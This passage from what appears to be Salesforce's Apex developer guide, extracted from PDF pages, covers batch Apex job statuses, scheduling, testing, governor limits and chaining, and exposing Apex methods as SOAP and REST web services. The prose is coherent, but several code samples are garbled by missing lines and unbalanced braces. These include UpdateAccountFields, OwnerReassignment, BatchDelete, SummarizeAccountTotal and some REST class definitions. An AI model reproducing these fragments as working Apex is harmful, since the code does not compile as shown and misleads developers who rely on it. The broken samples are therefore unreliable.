monitor queued jobs on the Apex Jobs page.
Batch Job Statuses

The following table lists all possible statuses for a batch job along with a description of each.
Status Description
Holding Job has been submitted and is held in the Apex flex queue until
system resources become available to queue the job for processing.
Queued Job is awaiting execution.
Preparing The start method of the job has been invoked. This status can
last a few minutes depending on the size of the batch of records.
Processing Job is being processed.
Aborted Job aborted by a user.
Completed Job completed with or without failures.
Failed Job experienced a system failure.
Using the System.scheduleBatch Method

You can use the System.scheduleBatch method to schedule a batch job to run once at a future time.
The System.scheduleBatch method takes the following parameters.
• An instance of a class that implements the Database.Batchable interface.
• The job name.
• The time interval, in minutes, after which the job starts executing.
• An optional scope value. This parameter specifies the number of records to pass into the execute method. Use this parameter
when you have many operations for each record being passed in and are running into governor limits. By limiting the number of
records, you are limiting the operations per transaction. This value must be greater than zero. If the start method returns a
QueryLocator, the optional scope parameter of System.scheduleBatch can have a maximum value of 2,000. If set to a higher
value, Salesforce chunks the records returned by the QueryLocator into smaller batches of up to 2,000 records. If the start method
returns an iterable, the scope parameter value has no upper limit. However, if you use a high number, you can run into other limits.
The System.scheduleBatch method returns the scheduled job ID (CronTrigger ID).
This example schedules a batch job to run one minute from now by calling System.scheduleBatch. The example passes this
method an instance of a batch class (the reassign variable), a job name, and a time interval of one minute. The optional scope
parameter has been omitted. The method returns the scheduled job ID, which is used to query CronTrigger to get the status of the
corresponding scheduled job.
String cronID = System.scheduleBatch(reassign, 'job example', 1);
CronTrigger ct = [SELECT Id, TimesTriggered, NextFireTime

FROM CronTrigger WHERE Id = :cronID];
246
// TimesTriggered should be 0 because the job hasn't started yet.

System.debug('Next fire time: ' + ct.NextFireTime);
// For example:
// Next fire time: 2013-06-03 13:31:23
For more information, see CronTrigger in the Object Reference for Salesforce and Force.com.
Note: Some things to note about System.scheduleBatch:

• When you call System.scheduleBatch, Salesforce schedules the job for execution at the specified time. Actual execution
occurs at or after that time, depending on service availability.
• The scheduler runs as system—all classes are executed, whether or not the user has permission to execute the class.
• When the job’s schedule is triggered, the system queues the batch job for processing. If Apex flex queue is enabled in your
org, the batch job is added at the end of the flex queue. For more information, see Holding Batch Jobs in the Apex Flex Queue.
• All scheduled Apex limits apply for batch jobs scheduled using System.scheduleBatch. After the batch job is queued
(with a status of Holding or Queued), all batch job limits apply and the job no longer counts toward scheduled Apex
limits.
• After calling this method and before the batch job starts, you can use the returned scheduled job ID to abort the scheduled
job using the System.abortJob method.
Batch Apex Examples

The following example uses a Database.QueryLocator:
global class UpdateAccountFields implements Database.Batchable<sObject>{
global final String Entity;
global final String Field;
global final String Value;
global UpdateAccountFields(String q, String e, String f, String v){

Query=q; Entity=e; Field=f;Value=v;
}

}
global void execute(Database.BatchableContext BC,

List<sObject> scope){
for(Sobject s : scope){s.put(Field,Value);
} update scope;
}
247
You can use the following code to call the previous class.
// Query for 10 accounts
String q = 'SELECT Industry FROM Account LIMIT 10';
String e = 'Account';
String f = 'Industry';
String v = 'Consulting';
Id batchInstanceId = Database.executeBatch(new UpdateAccountFields(q,e,f,v), 5);
To exclude accounts or invoices that were deleted but are still in the Recycle Bin, include isDeleted=false in the SOQL query
WHERE clause, as shown in these modified samples.
// Query for accounts that aren't in the Recycle Bin
String q = 'SELECT Industry FROM Account WHERE isDeleted=false LIMIT 10';
String e = 'Account';
String f = 'Industry';
String v = 'Consulting';
Id batchInstanceId = Database.executeBatch(new UpdateAccountFields(q,e,f,v), 5);
// Query for invoices that aren't in the Recycle Bin

String q =
'SELECT Description__c FROM Invoice_Statement__c WHERE isDeleted=false LIMIT 10';
String e = 'Invoice_Statement__c';
String f = 'Description__c';
String v = 'Updated description';
Id batchInstanceId = Database.executeBatch(new UpdateInvoiceFields(q,e,f,v), 5);
The following class uses batch Apex to reassign all accounts owned by a specific user to a different user.
global class OwnerReassignment implements Database.Batchable<sObject>{
String query;
String email;
Id toUserId;
Id fromUserId;
global Database.querylocator start(Database.BatchableContext BC){

return Database.getQueryLocator(query);}

List<Account> accns = new List<Account>();
for(sObject s : scope){Account a = (Account)s;

if(a.OwnerId==fromUserId){
a.OwnerId=toUserId;
accns.add(a);
}
}
update accns;
}
mail.setToAddresses(new String[] {email});
248
mail.setReplyTo('batch@acme.com');
mail.setSenderDisplayName('Batch Processing');
mail.setSubject('Batch Process Completed');
mail.setPlainTextBody('Batch Process has completed');

}
}
Use the following to execute the OwnerReassignment class in the previous example.
OwnerReassignment reassign = new OwnerReassignment();
reassign.query = 'SELECT Id, Name, Ownerid FROM Account ' +
'WHERE ownerid=\'' + u.id + '\'';
reassign.email='admin@acme.com';
reassign.fromUserId = u;
reassign.toUserId = u2;
The following is an example of a batch Apex class for deleting records.

global class BatchDelete implements Database.Batchable<sObject> {
public String query;

}

delete scope;
DataBase.emptyRecycleBin(scope);
}

}
}
This code calls the BatchDelete batch Apex class to delete old documents. The specified query selects documents to delete for all
documents that are in a specified folder and that are older than a specified date. Next, the sample invokes the batch job.
BatchDelete BDel = new BatchDelete();
Datetime d = Datetime.now();
d = d.addDays(-1);
// Replace this value with the folder ID that contains
// the documents to delete.
String folderId = '00lD000000116lD';
// Query for selecting the documents to delete
BDel.query = 'SELECT Id FROM Document WHERE FolderId=\'' + folderId +
'\' AND CreatedDate < '+d.format('yyyy-MM-dd')+'T'+
d.format('HH:mm')+':00.000Z';
// Invoke the batch job.
ID batchprocessid = Database.executeBatch(BDel);
System.debug('Returned batch process ID: ' + batchProcessId);
249
Using Callouts in Batch Apex

To use a callout in batch Apex, specify Database.AllowsCallouts in the class definition. For example:
global class SearchAndReplace implements Database.Batchable<sObject>,
Database.AllowsCallouts{
}
Callouts include HTTP requests and methods defined with the webservice keyword.
Using State in Batch Apex

Each execution of a batch Apex job is considered a discrete transaction. For example, a batch Apex job that contains 1,000 records and
is executed without the optional scope parameter is considered five transactions of 200 records each.
If you specify Database.Stateful in the class definition, you can maintain state across these transactions. When using
Database.Stateful, only instance member variables retain their values between transactions. Static member variables don’t
retain their values and are reset between transactions. Maintaining state is useful for counting or summarizing records as they’re processed.
For example, suppose your job processed opportunity records. You could define a method in execute to aggregate totals of the
opportunity amounts as they were processed.
If you don’t specify Database.Stateful, all static and instance member variables are set back to their original values.
The following example summarizes a custom field total__c as the records are processed.
global class SummarizeAccountTotal implements
Database.Batchable<sObject>, Database.Stateful{

global integer Summary;
global SummarizeAccountTotal(String q){Query=q;

Summary = 0;
}

}
global void execute(

Database.BatchableContext BC,
List<sObject> scope){
for(sObject s : scope){
Summary = Integer.valueOf(s.get('total__c'))+Summary;
}
}

}
}
In addition, you can specify a variable to access the initial state of the class. You can use this variable to share the initial state with all
instances of the Database.Batchable methods. For example:
// Implement the interface using a list of Account sObjects
// Note that the initialState variable is declared as final
250
global class MyBatchable implements Database.Batchable<sObject> {

private final String initialState;
String query;
global MyBatchable(String intialState) {

this.initialState = initialState;
}
global Database.QueryLocator start(Database.BatchableContext BC) {

// Access initialState here
}
global void execute(Database.BatchableContext BC,

List<sObject> batch) {
global void finish(Database.BatchableContext BC) {

}
}
The initialState stores only the initial state of the class. You can’t use it to pass information between instances of the class during
execution of the batch job. For example, if you change the value of initialState in execute, the second chunk of processed
records can’t access the new value. Only the initial value is accessible.
Testing Batch Apex

When testing your batch Apex, you can test only one execution of the execute method. Use the scope parameter of the
executeBatch method to limit the number of records passed into the execute method to ensure that you aren’t running into
governor limits.
The executeBatch method starts an asynchronous process. When you test batch Apex, make certain that the asynchronously
processed batch job is finished before testing against the results. Use the Test methods startTest and stopTest around the
executeBatch method to ensure that it finishes before continuing your test. All asynchronous calls made after the startTest
method are collected by the system. When stopTest is executed, all asynchronous processes are run synchronously. If you don’t
include the executeBatch method within the startTest and stopTest methods, the batch job executes at the end of your
test method. This execution order applies for Apex saved using API version 25.0 and later, but not for earlier versions.
For Apex saved using API version 22.0 and later, exceptions that occur during the execution of a batch Apex job invoked by a test method
are passed to the calling test method. As a result, these exceptions cause the test method to fail. If you want to handle exceptions in the
test method, enclose the code in try and catch statements. Place the catch block after the stopTest method. However, with
Apex saved using Apex version 21.0 and earlier, such exceptions don’t get passed to the test method and don’t cause test methods to
fail.
Note: Asynchronous calls, such as @future or executeBatch, called in a startTest, stopTest block, do not count
against your limits for the number of queued jobs.
251
The following example tests the OwnerReassignment class.

public static testMethod void testBatch() {
user u = [SELECT ID, UserName FROM User
WHERE username='testuser1@acme.com'];
user u2 = [SELECT ID, UserName FROM User
WHERE username='testuser2@acme.com'];
String u2id = u2.id;
// Create 200 test accounts - this simulates one execute.
// Important - the Salesforce.com test framework only allows you to
// test one execute.
List <Account> accns = new List<Account>();

for(integer i = 0; i<200; i++){
Account a = new Account(Name='testAccount'+'i',
Ownerid = u.ID);
accns.add(a);
}
insert accns;
Test.StartTest();
OwnerReassignment reassign = new OwnerReassignment();
reassign.query='SELECT ID, Name, Ownerid ' +
'FROM Account ' +
'WHERE OwnerId=\'' + u.Id + '\'' +
' LIMIT 200';
reassign.email='admin@acme.com';
reassign.fromUserId = u.Id;
reassign.toUserId = u2.Id;
Test.StopTest();
System.AssertEquals(
database.countquery('SELECT COUNT()'
+' FROM Account WHERE OwnerId=\'' + u2.Id + '\''),
200);
}
}
Use the System.Test.enqueueBatchJobs and System.Test.getFlexQueueOrder methods to enqueue and

reorder no-operation jobs within the contexts of tests.
Batch Apex Governor Limits

Keep in mind the following governor limits for batch Apex.
• Up to 5 batch jobs can be queued or active concurrently.
• Up to 100 Holding batch jobs can be held in the Apex flex queue.
• In a running test, you can submit a maximum of 5 batch jobs.
• The maximum number of batch Apex method executions per 24-hour period is 250,000, or the number of user licenses in your org
multiplied by 200—whichever is greater. Method executions include executions of the start, execute, and finish methods.
This limit is for your entire org and is shared with all asynchronous Apex: Batch Apex, Queueable Apex, scheduled Apex, and future
252
methods. To check how many asynchronous Apex executions are available, make a request to the REST API limits resource. See
List Organization Limits in the Force.com REST API Developer Guide. The licenses that count toward this limit are full Salesforce user
licenses or Force.com App Subscription user licenses. Chatter Free, Chatter customer users, Customer Portal User, and partner portal
User licenses aren’t included.
• The batch Apex start method can have up to 15 query cursors open at a time per user. The batch Apex execute and finish
methods each have a limit of five open query cursors per user.
• A maximum of 50 million records can be returned in the Database.QueryLocator object. If more than 50 million records
are returned, the batch job is immediately terminated and marked as Failed.
• If the start method of the batch class returns a QueryLocator, the optional scope parameter of Database.executeBatch
can have a maximum value of 2,000. If set to a higher value, Salesforce chunks the records returned by the QueryLocator into smaller
batches of up to 2,000 records. If the start method of the batch class returns an iterable, the scope parameter value has no upper
limit. However, if you use a high number, you can run into other limits.
• If no size is specified with the optional scope parameter of Database.executeBatch, Salesforce chunks the records returned
by the start method into batches of 200. The system then passes each batch to the execute method. Apex governor limits
are reset for each execution of execute.
• The start, execute, and finish methods can implement up to 100 callouts each.
• Only one batch Apex job's start method can run at a time in an org. Batch jobs that haven’t started yet remain in the queue until
they're started. Note that this limit doesn’t cause any batch job to fail and execute methods of batch Apex jobs still run in parallel
if more than one job is running.
Batch Apex Best Practices

• Use extreme care if you are planning to invoke a batch job from a trigger. You must be able to guarantee that the trigger will not
add more batch jobs than the limit. In particular, consider API bulk updates, import wizards, mass record changes through the user
interface, and all cases where more than one record can be updated at a time.
• When you call Database.executeBatch, Salesforce only places the job in the queue. Actual execution can be delayed based
on service availability.
• When testing your batch Apex, you can test only one execution of the execute method. Use the scope parameter of the
executeBatch method to limit the number of records passed into the execute method to ensure that you aren’t running
into governor limits.
• The executeBatch method starts an asynchronous process. When you test batch Apex, make certain that the asynchronously
processed batch job is finished before testing against the results. Use the Test methods startTest and stopTest around
the executeBatch method to ensure that it finishes before continuing your test.
• Use Database.Stateful with the class definition if you want to share instance member variables or data across job transactions.
Otherwise, all member variables are reset to their initial state at the start of each transaction.
• Methods declared as future aren’t allowed in classes that implement the Database.Batchable interface.
• Methods declared as future can’t be called from a batch Apex class.
• When a batch Apex job is run, email notifications are sent to the user who submitted the batch job. If the code is included in a
managed package and the subscribing org is running the batch job, notifications are sent to the recipient listed in the Apex
Exception Notification Recipient field.
• Each method execution uses the standard governor limits anonymous block, Visualforce controller, or WSDL method.
• Each batch Apex invocation creates an AsyncApexJob record. To construct a SOQL query to retrieve the job’s status, number
of errors, progress, and submitter, use the AsyncApexJob record’s ID. For more information about the AsyncApexJob object,
see AsyncApexJob in the Object Reference for Salesforce and Force.com.
253
• For each 10,000 AsyncApexJob records, Apex creates an AsyncApexJob record of type BatchApexWorker for internal
use. When querying for all AsyncApexJob records, we recommend that you filter out records of type BatchApexWorker
using the JobType field. Otherwise, the query returns one more record for every 10,000 AsyncApexJob records. For more
information about the AsyncApexJob object, see AsyncApexJob in the Object Reference for Salesforce and Force.com.
• All methods in the class must be defined as global or public.
• For a sharing recalculation, we recommend that the execute method delete and then re-create all Apex managed sharing for
the records in the batch. This process ensures that sharing is accurate and complete.
• Batch jobs queued before a Salesforce service maintenance downtime remain in the queue. After service downtime ends and when
system resources become available, the queued batch jobs are executed. If a batch job was running when downtime occurred, the
batch execution is rolled back and restarted after the service comes back up.
• Minimize the number of batches, if possible. Salesforce uses a queue-based framework to handle asynchronous processes from such
sources as future methods and batch Apex. This queue is used to balance request workload across organizations. If more than 2,000
unprocessed requests from a single organization are in the queue, any additional requests from the same organization will be delayed
while the queue handles requests from other organizations.
• Ensure that batch jobs execute as fast as possible. To ensure fast execution of batch jobs, minimize Web service callout times and
tune queries used in your batch Apex code. The longer the batch job executes, the more likely other queued jobs are delayed when
many jobs are in the queue.
• If you use batch Apex with Database.QueryLocator to access external objects via an OData adapter for Salesforce Connect:
– You must enable Request Row Counts on the external data source, and each response from the external system must include
the total row count of the result set.
– We recommend enabling Server Driven Pagination on the external data source and having the external system determine page
sizes and batch boundaries for large result sets. Typically, server-driven paging can adjust batch boundaries to accommodate
changing data sets more effectively than client-driven paging.
When Server Driven Pagination is disabled on the external data source, the OData adapter controls the paging behavior
(client-driven). If external object records are added to the external system while a job runs, other records can be processed twice.
If external object records are deleted from the external system while a job runs, other records can be skipped.
– When Server Driven Pagination is enabled on the external data source, the batch size at runtime is the smaller of the following:
• Batch size specified in the scope parameter of Database.executeBatch. Default is 200 records.
• Page size returned by the external system. We recommend that you set up your external system to return page sizes of 200
or fewer records.
Chaining Batch Jobs

Starting with API version 26.0, you can start another batch job from an existing batch job to chain jobs together. Chain a batch job to
start a job after another one finishes and when your job requires batch processing, such as when processing large data volumes. Otherwise,
if batch processing isn’t needed, consider using Queueable Apex.
You can chain a batch job by calling Database.executeBatch or System.scheduleBatch from the finish method
of the current batch class. The new batch job will start after the current batch job finishes.
For previous API versions, you can’t call Database.executeBatch or System.scheduleBatch from any batch Apex
method. The version that’s used is the version of the running batch class that starts or schedules another batch job. If the finish
254
method in the running batch class calls a method in a helper class to start the batch job, the API version of the helper class doesn’t
matter.
SEE ALSO:
Batchable Interface
FlexQueue Class
enqueueBatchJobs(numberOfJobs)
getFlexQueueOrder()
Salesforce Help: Client-driven and Server-driven Paging for Salesforce Connect—OData 2.0 and 4.0 Adapters
Salesforce Help: Define an External Data Source for Salesforce Connect—OData 2.0 or 4.0 Adapter
Exposing Apex Methods as SOAP Web Services

You can expose your Apex methods as SOAP web services so that external applications can access your code and your application.
To expose your Apex methods, use Webservice Methods.
Tip:
• Apex SOAP web services allow an external application to invoke Apex methods through SOAP Web services. Apex callouts
enable Apex to invoke external web or HTTP services.
• Apex REST API exposes your Apex classes and methods as REST web services. See Exposing Apex Classes as REST Web Services.
IN THIS SECTION:
Webservice Methods
Exposing Data with Webservice Methods
Considerations for Using the webservice Keyword
Overloading Web Service Methods
Webservice Methods
Apex class methods can be exposed as custom SOAP Web service calls. This allows an external application to invoke an Apex Web service
to perform an action in Salesforce. Use the webservice keyword to define these methods. For example:
global class MyWebService {
webservice static Id makeContact(String contactLastName, Account a) {
Contact c = new Contact(lastName = contactLastName, AccountId = a.Id);
insert c;
return c.id;
}
}
A developer of an external application can integrate with an Apex class containing webservice methods by generating a WSDL for
the class. To generate a WSDL from an Apex class detail page:
1. In the application from Setup, enter “Apex Classes” in the Quick Find box, then select Apex Classes.
2. Click the name of a class that contains webservice methods.
3. Click Generate WSDL.
255
Exposing Data with Webservice Methods

Invoking a custom webservice method always uses system context. Consequently, the current user's credentials are not used, and
any user who has access to these methods can use their full power, regardless of permissions, field-level security, or sharing rules.
Developers who expose methods with the webservice keyword should therefore take care that they are not inadvertently exposing
any sensitive data.
Warning: Apex class methods that are exposed through the API with the webservice keyword don't enforce object permissions
and field-level security by default. We recommend that you make use of the appropriate object or field describe result methods
to check the current user’s access level on the objects and fields that the webservice method is accessing. See DescribeSObjectResult
Class and DescribeFieldResult Class.
Also, sharing rules (record-level access) are enforced only when declaring a class with the with sharing keyword. This
requirement applies to all Apex classes, including to classes that contain webservice methods. To enforce sharing rules for webservice
methods, declare the class that contains these methods with the with sharing keyword. See Using the with sharing or
without sharing Keywords.
Considerations for Using the webservice Keyword

When using the webservice keyword, keep the following considerations in mind:
• Use the webservice keyword to define top-level methods and outer class methods. You can’t use the webservice keyword
to define a class or an inner class method.
• You cannot use the webservice keyword to define an interface, or to define an interface's methods and variables.
• System-defined enums cannot be used in Web service methods.
• You cannot use the webservice keyword in a trigger.
• All classes that contain methods defined with the webservice keyword must be declared as global. If a method or inner class
is declared as global, the outer, top-level class must also be defined as global.
• Methods defined with the webservice keyword are inherently global. Any Apex code that has access to the class can use these
methods. You can consider the webservice keyword as a type of access modifier that enables more access than global.
• Define any method that uses the webservice keyword as static.
• You cannot deprecate webservice methods or variables in managed package code.
• Because there are no SOAP analogs for certain Apex elements, methods defined with the webservice keyword cannot take the
following elements as parameters. While these elements can be used within the method, they also cannot be marked as return
values.
– Maps
– Sets
– Pattern objects
– Matcher objects
– Exception objects
• Use the webservice keyword with any member variables that you want to expose as part of a Web service. Do not mark these
member variables as static.
Considerations for calling Apex SOAP Web service methods:
• Salesforce denies access to Web service and executeanonymous requests from an AppExchange package that has
Restricted access.
256
• Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value
that is too long for the field.
• If a login call is made from the API for a user with an expired or temporary password, subsequent API calls to custom Apex SOAP
Web service methods aren't supported and result in the INVALID_OPERATION_WITH_EXPIRED_PASSWORD error. Reset the user's
password and make a call with an unexpired password to be able to call Apex Web service methods.
The following example shows a class with Web service member variables and a Web service method:
global class SpecialAccounts {
global class AccountInfo {

webservice String AcctName;
webservice Integer AcctNumber;
}
webservice static Account createAccount(AccountInfo info) {

Account acct = new Account();
acct.Name = info.AcctName;
acct.AccountNumber = String.valueOf(info.AcctNumber);
insert acct;
return acct;
}
webservice static Id [] createAccounts(Account parent,

Account child, Account grandChild) {
insert parent;
child.parentId = parent.Id;
insert child;
grandChild.parentId = child.Id;
insert grandChild;
Id [] results = new Id[3];

results[0] = parent.Id;
results[1] = child.Id;
results[2] = grandChild.Id;
return results;
}
}
// Test class for the previous class.

@isTest
private class SpecialAccountsTest {
testMethod static void testAccountCreate() {
SpecialAccounts.AccountInfo info = new SpecialAccounts.AccountInfo();
info.AcctName = 'Manoj Cheenath';
info.AcctNumber = 12345;
Account acct = SpecialAccounts.createAccount(info);
System.assert(acct != null);
}
}
You can invoke this Web service using AJAX. For more information, see Apex in AJAX on page 271.
257
Overloading Web Service Methods

SOAP and WSDL do not provide good support for overloading methods. Consequently, Apex does not allow two methods marked with
the webservice keyword to have the same name. Web service methods that have the same name in the same class generate a
compile-time error.
Exposing Apex Classes as REST Web Services

You can expose your Apex classes and methods so that external applications can access your code and your application through the
REST architecture.
This is an overview of how to expose your Apex classes as REST web services. You'll learn about the class and method annotations and
see code samples that show you how to implement this functionality.
Tip: Apex SOAP web services allow an external application to invoke Apex methods through SOAP web services. See Exposing
Apex Methods as SOAP Web Services.
IN THIS SECTION:
Introduction to Apex REST
Apex REST Methods
Exposing Data with Apex REST Web Service Methods
Apex REST Code Samples
Introduction to Apex REST

You can expose your Apex class and methods so that external applications can access your code and your application through the REST
architecture. This is done by defining your Apex class with the @RestResource annotation to expose it as a REST resource. Similarly,
add annotations to your methods to expose them through REST. For example, you can add the @HttpGet annotation to your method
to expose it as a REST resource that can be called by an HTTP GET request. For more information, see Apex REST Annotations on page
93
These are the classes containing methods and properties you can use with Apex REST.
Class Description
RestContext Class Contains the RestRequest and RestResponse objects.
request Represents an object used to pass data from an HTTP request to

an Apex RESTful Web service method.
response Represents an object used to pass data from an Apex RESTful Web
service method to an HTTP response.
Governor Limits
Calls to Apex REST classes count against the organization's API governor limits. All standard Apex governor limits apply to Apex REST
classes. For example, the maximum request or response size is 6 MB for synchronous Apex or 12 MB for asynchronous Apex. For more
information, see Execution Governors and Limits.
258
Authentication
Apex REST supports these authentication mechanisms:
• OAuth 2.0
• Session ID
See Step Two: Set Up Authorization in the Force.com REST API Developer Guide.

Six new annotations have been added that enable you to expose an Apex class as a RESTful Web service.
• @RestResource(urlMapping='/yourUrl')
• @HttpDelete
• @HttpGet
• @HttpPatch
• @HttpPost
• @HttpPut
Apex REST Methods

Apex REST supports two formats for representations of resources: JSON and XML. JSON representations are passed by default in the
body of a request or response, and the format is indicated by the Content-Type property in the HTTP header. You can retrieve the
body as a Blob from the HttpRequest object if there are no parameters to the Apex method. If parameters are defined in the Apex method,
an attempt is made to deserialize the request body into those parameters. If the Apex method has a non-void return type, the resource
representation is serialized into the response body.
These return and parameter types are allowed:
• Apex primitives (excluding sObject and Blob).
• sObjects
• Lists or maps of Apex primitives or sObjects (only maps with String keys are supported).
• User-defined types that contain member variables of the types listed above.
Note: Apex REST doesn’t support XML serialization and deserialization of Chatter in Apex objects. Apex REST does support JSON
serialization and deserialization of Chatter in Apex objects. Also, some collection types, such as maps and lists, aren’t supported
with XML. See Request and Response Data Considerations for details.
Methods annotated with @HttpGet or @HttpDelete should have no parameters. This is because GET and DELETE requests have
no request body, so there's nothing to deserialize.
A single Apex class annotated with @RestResource can't have multiple methods annotated with the same HTTP request method.
For example, the same class can't have two methods annotated with @HttpGet.
Note: Apex REST currently doesn't support requests of Content-Type multipart/form-data.
Apex REST Method Considerations

Here are a few points to consider when you define Apex REST methods.
259
• RestRequest and RestResponse objects are available by default in your Apex methods through the static RestContext
object. This example shows how to access these objects through RestContext:
RestRequest req = RestContext.request;
RestResponse res = RestContext.response;
• If the Apex method has no parameters, Apex REST copies the HTTP request body into the RestRequest.requestBody
property. If the method has parameters, then Apex REST attempts to deserialize the data into those parameters and the data won't
be deserialized into the RestRequest.requestBody property.
• Apex REST uses similar serialization logic for the response. An Apex method with a non-void return type will have the return value
serialized into RestResponse.responseBody.
• Apex REST methods can be used in managed and unmanaged packages. When calling Apex REST methods that are contained in a
managed package, you need to include the managed package namespace in the REST call URL. For example, if the class is contained
in a managed package namespace called packageNamespace and the Apex REST methods use a URL mapping of
/MyMethod/*, the URL used via REST to call these methods would be of the form
https://instance.salesforce.com/services/apexrest/packageNamespace/MyMethod/. For more
information about managed packages, see What is a Package?.
• If a login call is made from the API for a user with an expired or temporary password, subsequent API calls to custom Apex REST Web
service methods aren't supported and result in the MUTUAL_AUTHENTICATION_FAILED error. Reset the user's password and make
a call with an unexpired password to be able to call Apex Web service methods.
User-Defined Types
You can use user-defined types for parameters in your Apex REST methods. Apex REST deserializes request data into public, private,
or global class member variables of the user-defined type, unless the variable is declared as static or transient. For example,
an Apex REST method that contains a user-defined type parameter might look like the following:
@RestResource(urlMapping='/user_defined_type_example/*')
global with sharing class MyOwnTypeRestResource {
@HttpPost
global static MyUserDefinedClass echoMyType(MyUserDefinedClass ic) {
return ic;
}
global class MyUserDefinedClass {
global String string1;

global String string2 { get; set; }
private String privateString;
global transient String transientString;
global static String staticString;
Valid JSON and XML request data for this method would look like:
{
"ic" : {
"string1" : "value for string1",
"string2" : "value for string2",
260
"privateString" : "value for privateString"

}
}
<request>
<ic>
<string1>value for string1</string1>
<string2>value for string2</string2>
<privateString>value for privateString</privateString>
</ic>
</request>
If a value for staticString or transientString is provided in the example request data above, an HTTP 400 status code
response is generated. Note that the public, private, or global class member variables must be types allowed by Apex REST:
• Apex primitives (excluding sObject and Blob).
• sObjects
• Lists or maps of Apex primitives or sObjects (only maps with String keys are supported).
When creating user-defined types used as Apex REST method parameters, avoid introducing any class member variable definitions that
result in cycles (definitions that depend on each other) at run time in your user-defined types. Here's a simple example:
@RestResource(urlMapping='/CycleExample/*')
global with sharing class ApexRESTCycleExample {
@HttpGet
global static MyUserDef1 doCycleTest() {
MyUserDef1 def1 = new MyUserDef1();
MyUserDef2 def2 = new MyUserDef2();
def1.userDef2 = def2;
def2.userDef1 = def1;
return def1;
}
global class MyUserDef1 {

MyUserDef2 userDef2;
}

MyUserDef1 userDef1;
}
The code in the previous example compiles, but at run time when a request is made, Apex REST detects a cycle between instances of
def1 and def2, and generates an HTTP 400 status code error response.
Request and Response Data Considerations

Some additional things to keep in mind for the request data for your Apex REST methods:
261
• The names of the Apex parameters matter, although the order doesn’t. For example, valid requests in both XML and JSON look like
the following:
@HttpPost
global static void myPostMethod(String s1, Integer i1, Boolean b1, String s2)
{
"s1" : "my first string",
"i1" : 123,
"s2" : "my second string",
"b1" : false
}
<request>
<s1>my first string</s1>
<i1>123</i1>
<s2>my second string</s2>
<b1>false</b1>
</request>
• The URL patterns URLpattern and URLpattern/* match the same URL. If one class has a urlMapping of URLpattern
and another class has a urlMapping of URLpattern/*, a REST request for this URL pattern resolves to the class that was saved
first.
• Some parameter and return types can't be used with XML as the Content-Type for the request or as the accepted format for the
response, and hence, methods with these parameter or return types can't be used with XML. Lists, maps, or collections of collections,
for example, List<List<String>> aren't supported. However, you can use these types with JSON. If the parameter list
includes a type that's invalid for XML and XML is sent, an HTTP 415 status code is returned. If the return type is a type that's invalid
for XML and XML is the requested response format, an HTTP 406 status code is returned.
• For request data in either JSON or XML, valid values for Boolean parameters are: true, false (both of these are treated as
case-insensitive), 1 and 0 (the numeric values, not strings of “1” or “0”). Any other values for Boolean parameters result in an error.
• If the JSON or XML request data contains multiple parameters of the same name, this results in an HTTP 400 status code error response.
For example, if your method specifies an input parameter named x, the following JSON request data results in an error:
{
"x" : "value1",
"x" : "value2"
}
Similarly, for user-defined types, if the request data includes data for the same user-defined type member variable multiple times,
this results in an error. For example, given this Apex REST method and user-defined type:
@RestResource(urlMapping='/DuplicateParamsExample/*')
global with sharing class ApexRESTDuplicateParamsExample {
@HttpPost
global static MyUserDef1 doDuplicateParamsTest(MyUserDef1 def) {
return def;
}

Integer i;
}
262
The following JSON request data also results in an error:

{
"def" : {
"i" : 1,
"i" : 2
}
}
• If you need to specify a null value for one of your parameters in your request data, you can either omit the parameter entirely or
specify a null value. In JSON, you can specify null as the value. In XML, you must use the
http://www.w3.org/2001/XMLSchema-instance namespace with a nil value.
• For XML request data, you must specify an XML namespace that references any Apex namespace your method uses. So, for example,
if you define an Apex REST method such as:
@RestResource(urlMapping='/namespaceExample/*')
global class MyNamespaceTest {
@HttpPost
global static MyUDT echoTest(MyUDT def, String extraString) {
return def;
}
global class MyUDT {

Integer count;
}
}
You can use the following XML request data:

<request>
<def xmlns:MyUDT="http://soap.sforce.com/schemas/class/MyNamespaceTest">
<MyUDT:count>23</MyUDT:count>
</def>
<extraString>test</extraString>
</request>
Response Status Codes

The status code of a response is set automatically. This table lists some HTTP status codes and what they mean in the context of the
HTTP request method. For the full list of response status codes, see statusCode.
Request Method Response Status Description

Code
GET 200 The request was successful.
PATCH 200 The request was successful and the return type is non-void.
PATCH 204 The request was successful and the return type is void.
DELETE, GET, PATCH, POST, PUT 400 An unhandled user exception occurred.
263
Request Method Response Status Description

Code
DELETE, GET, PATCH, POST, PUT 403 You don't have access to the specified Apex class.
DELETE, GET, PATCH, POST, PUT 404 The URL is unmapped in an existing @RestResource
annotation.
DELETE, GET, PATCH, POST, PUT 404 The URL extension is unsupported.
DELETE, GET, PATCH, POST, PUT 404 The Apex class with the specified namespace couldn't be found.
DELETE, GET, PATCH, POST, PUT 405 The request method doesn't have a corresponding Apex method.
DELETE, GET, PATCH, POST, PUT 406 The Content-Type property in the header was set to a value other
than JSON or XML.
DELETE, GET, PATCH, POST, PUT 406 The header specified in the HTTP request is not supported.
GET, PATCH, POST, PUT 406 The XML return type specified for format is unsupported.
DELETE, GET, PATCH, POST, PUT 415 The XML parameter type is unsupported.
DELETE, GET, PATCH, POST, PUT 415 The Content-Header Type specified in the HTTP request header
is unsupported.
DELETE, GET, PATCH, POST, PUT 500 An unhandled Apex exception occurred.
SEE ALSO:
JSON Support
XML Support
Exposing Data with Apex REST Web Service Methods

Invoking a custom Apex REST Web service method always uses system context. Consequently, the current user's credentials are not
used, and any user who has access to these methods can use their full power, regardless of permissions, field-level security, or sharing
rules. Developers who expose methods using the Apex REST annotations should therefore take care that they are not inadvertently
exposing any sensitive data.
Warning: Apex class methods that are exposed through the Apex REST API don't enforce object permissions and field-level
security by default. We recommend that you make use of the appropriate object or field describe result methods to check the
current user’s access level on the objects and fields that the Apex REST API method is accessing. See DescribeSObjectResult Class
and DescribeFieldResult Class.
Also, sharing rules (record-level access) are enforced only when declaring a class with the with sharing keyword. This
requirement applies to all Apex classes, including to classes that are exposed through Apex REST API. To enforce sharing rules for
Apex REST API methods, declare the class that contains these methods with the with sharing keyword. See Using the with
sharing or without sharing Keywords.
Apex REST Code Samples

These code samples show you how to expose Apex classes and methods through the REST architecture and how to call those resources
from a client.
264
• Apex REST Basic Code Sample: Provides an example of an Apex REST class with three methods that you can call to delete a record,
get a record, and update a record.
• Apex REST Code Sample Using RestRequest: Provides an example of an Apex REST class that adds an attachment to a record by
using the RestRequest object
IN THIS SECTION:
Apex REST Basic Code Sample
Apex REST Code Sample Using RestRequest
Apex REST Basic Code Sample

